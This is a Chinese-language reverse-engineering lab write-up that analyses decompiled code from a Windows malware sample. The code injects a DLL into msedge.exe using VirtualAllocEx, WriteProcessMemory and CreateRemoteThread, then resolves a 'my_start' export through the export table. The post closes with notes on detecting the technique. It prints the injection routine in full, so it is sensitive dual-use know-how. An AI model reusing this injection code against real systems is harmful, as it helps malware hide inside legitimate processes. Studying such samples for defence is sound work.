Simple Reverse - 0x21(2023 Lab - WinMalware - Extract Next Stage Payload - 3)
Background
- VirtualAllocEx
- 記憶體保護常數
- WriteProcessMemory
- CreateRemoteThread
- Export Address Table(EAT)

Source code
- Source Code
sub_140001A601
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45__int64 __fastcall sub_140001A60(DWORD edge_pid, const void *pe_file, SIZE_T pe_file_size) { DWORD v4; // eax DWORD LastError; // eax HANDLE hProcess; // [rsp+40h] [rbp-38h] char *lpBaseAddress; // [rsp+48h] [rbp-30h] LPTHREAD_START_ROUTINE lpStartAddress; // [rsp+50h] [rbp-28h] __int64 v9; // [rsp+58h] [rbp-20h] BYREF DWORD ThreadId; // [rsp+60h] [rbp-18h] BYREF v9 = 0i64; sub_1400018F0(pe_file, &v9); if ( v9 ) { hProcess = OpenProcess(0x43Au, 0, edge_pid); if ( hProcess ) { lpBaseAddress = (char *)VirtualAllocEx(hProcess, 0i64, pe_file_size, 0x3000u, 0x40u); if ( WriteProcessMemory(hProcess, lpBaseAddress, pe_file, pe_file_size, 0i64) ) { lpStartAddress = (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9]; CreateRemoteThread(hProcess, 0i64, 0i64, (LPTHREAD_START_ROUTINE)&lpBaseAddress[v9], 0i64, 0, &ThreadId); sub_140001260("remote thread id: %lu, loader address: %p", ThreadId, lpStartAddress); return 1i64; } else { LastError = GetLastError(); sub_140001260("WriteProcessMemory failed, %lu", LastError); return 0i64; } } else { v4 = GetLastError(); sub_140001260("OpenProcess failed, %lu", v4); return 0i64; } } else { sub_140001260("get_reflectivce_loader_offset failed\n"); return 0i64; } }
Recon
- 首先看到他open我們剛剛拿到的edge process
- 利用
VirtualAllocEx這個API主要可以在指定的process中malloc一塊記憶體,他的大小取決於pe_file_size,而該記憶體配置的類型是MEM_COMMIT+MEM_RESERVE(暫時不用管是甚麼),然後權限的話是設定0x40(PAGE_EXECUTE_READWRITE),就是可寫可執行 - #19的意思是說: 把
pe_file的資料寫入lpBaseAddress的地方,總共寫入pe_file_size這麼多的大小 - #22的意思是把儲存在
(LPTHREAD_START_ROUTINE)&lpBaseAddress[v9]這邊的東西跑起來→ 在 Edge process 中建立 thread,thread 執行起點為
lpBaseAddress[v9]
目前為止的資訊

- 那甚麼是
v9呢? 這個變數可以往回看#11~#12的地方,可以跟進去看- 首先,#18的地方很明顯就是在取得export table,因為他拿的地方是在optional header的data directory[0],也就是export table。至於
sub_140001410在幹嘛,簡單說就是把RVA轉回file offset的function - #30~#46的地方就是像前一篇有講到的一樣,是
memcmp("my_start", v13),仔細比對前面提到的memcmp("msedge.exe", process’s executable file name),結構幾乎一模一樣 - 有了第一部拿到的export table和第二步想要比對的
"my_start"字串,通靈後可以想到他就是想要拿到名為my_start的DLL導出函數 - 至此,我們已經知道這一個function在做的事情就是去export table中找到
my_start這個function後,回傳他的位址sub_1400018F0Source Code解析前1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53__int64 __fastcall sub_1400018F0(__int64 pe_file, __int64 *a2) { IMAGE_NT_HEADERS *NtHdr; // rax __int64 result; // rax __int64 v4; // rax unsigned __int8 *v5; // rax char *v6; // rcx unsigned __int8 v7; // dl int v8; // eax unsigned __int16 v9; // [rsp+20h] [rbp-38h] int i; // [rsp+24h] [rbp-34h] unsigned int *v11; // [rsp+28h] [rbp-30h] unsigned __int64 v12; // [rsp+30h] [rbp-28h] unsigned __int8 *v13; // [rsp+38h] [rbp-20h] __int64 v14; // [rsp+40h] [rbp-18h] NtHdr = getNtHdr(pe_file); v11 = (unsigned int *)(sub_140001410(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file); v12 = v11[6]; for ( i = 0; ; ++i ) { result = i; if ( i >= v12 ) break; v4 = sub_140001410(pe_file, v11[8]); v13 = (unsigned __int8 *)(sub_140001410(pe_file, *(unsigned int *)(v4 + pe_file + 4i64 * i)) + pe_file); v9 = *(_WORD *)(sub_140001410(pe_file, v11[9]) + pe_file + 2i64 * i); v14 = *(unsigned int *)(sub_140001410(pe_file, v11[7]) + pe_file + 4i64 * v9); v5 = v13; v6 = (char *)("my_start" - (char *)v13); while ( 1 ) { v7 = *v5; if ( *v5 != v6[(_QWORD)v5] ) break; ++v5; if ( !v7 ) { v8 = 0; goto LABEL_8; } } v8 = v7 < (unsigned int)v6[(_QWORD)v5] ? -1 : 1; LABEL_8: if ( !v8 ) { result = sub_140001410(pe_file, v14); *a2 = result; return result; } } return result; }
sub_1400018F0Source Code解析前1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53unsigned __int64 __fastcall getMy_Start_ExportFunction(__int64 pe_file, unsigned __int64 *my_start_address_offset) { IMAGE_NT_HEADERS *NtHdr; // rax unsigned __int64 result; // rax unsigned __int64 name_array; // rax unsigned __int8 *v5; // rax char *v6; // rcx unsigned __int8 v7; // dl int v8; // eax unsigned __int16 name_ordinal; // [rsp+20h] [rbp-38h] int i; // [rsp+24h] [rbp-34h] IMAGE_EXPORT_DIRECTORY *exportTable; // [rsp+28h] [rbp-30h] unsigned __int64 NumberOfNames; // [rsp+30h] [rbp-28h] unsigned __int8 *fn_name; // [rsp+38h] [rbp-20h] unsigned __int64 fn_addr; // [rsp+40h] [rbp-18h] NtHdr = getNtHdr(pe_file); exportTable = (rva2FileOffset(pe_file, NtHdr->OptionalHeader.DataDirectory[0].VirtualAddress) + pe_file); NumberOfNames = exportTable->NumberOfNames; for ( i = 0; ; ++i ) { result = i; if ( i >= NumberOfNames ) break; name_array = rva2FileOffset(pe_file, exportTable->AddressOfNames); fn_name = (rva2FileOffset(pe_file, *(name_array + pe_file + 4i64 * i)) + pe_file); name_ordinal = *(rva2FileOffset(pe_file, exportTable->AddressOfNameOrdinals) + pe_file + 2i64 * i); fn_addr = *(rva2FileOffset(pe_file, exportTable->AddressOfFunctions) + pe_file + 4i64 * name_ordinal); v5 = fn_name; v6 = ("my_start" - fn_name); while ( 1 ) { v7 = *v5; if ( *v5 != v6[v5] ) break; ++v5; if ( !v7 ) { v8 = 0; goto LABEL_8; } } v8 = v7 < v6[v5] ? -1 : 1; LABEL_8: if ( !v8 ) { result = rva2FileOffset(pe_file, fn_addr); *my_start_address_offset = result; return result; } } return result; }
- 首先,#18的地方很明顯就是在取得export table,因為他拿的地方是在optional header的data directory[0],也就是export table。至於
小節
至此,我們已經把主要程式都分析完了,大略流程如下
主要是後面的部分比較難分析,駭客主要的目的是把有問題的DLL file注入到msedge.exe這個process中並且建立一個thread,然後從my_start這個導出函數開始執行一些操作,這樣一個完整的流程就叫做==Process Injection==
這樣繞一大圈的用途
- 不會建立獨立的 process,而是把惡意行為隱藏在正常 process 中,以躲避 process 級別的偵測
- 若能注入高權限 process,則有機會提權
防禦手法
- 常用 API:VirtualAllocEx、WriteProcessMemory、CreateRemoteThread
- 一般程式較少對其他 process 做寫入和建立 thread,使用這些 API 十分容易被偵測
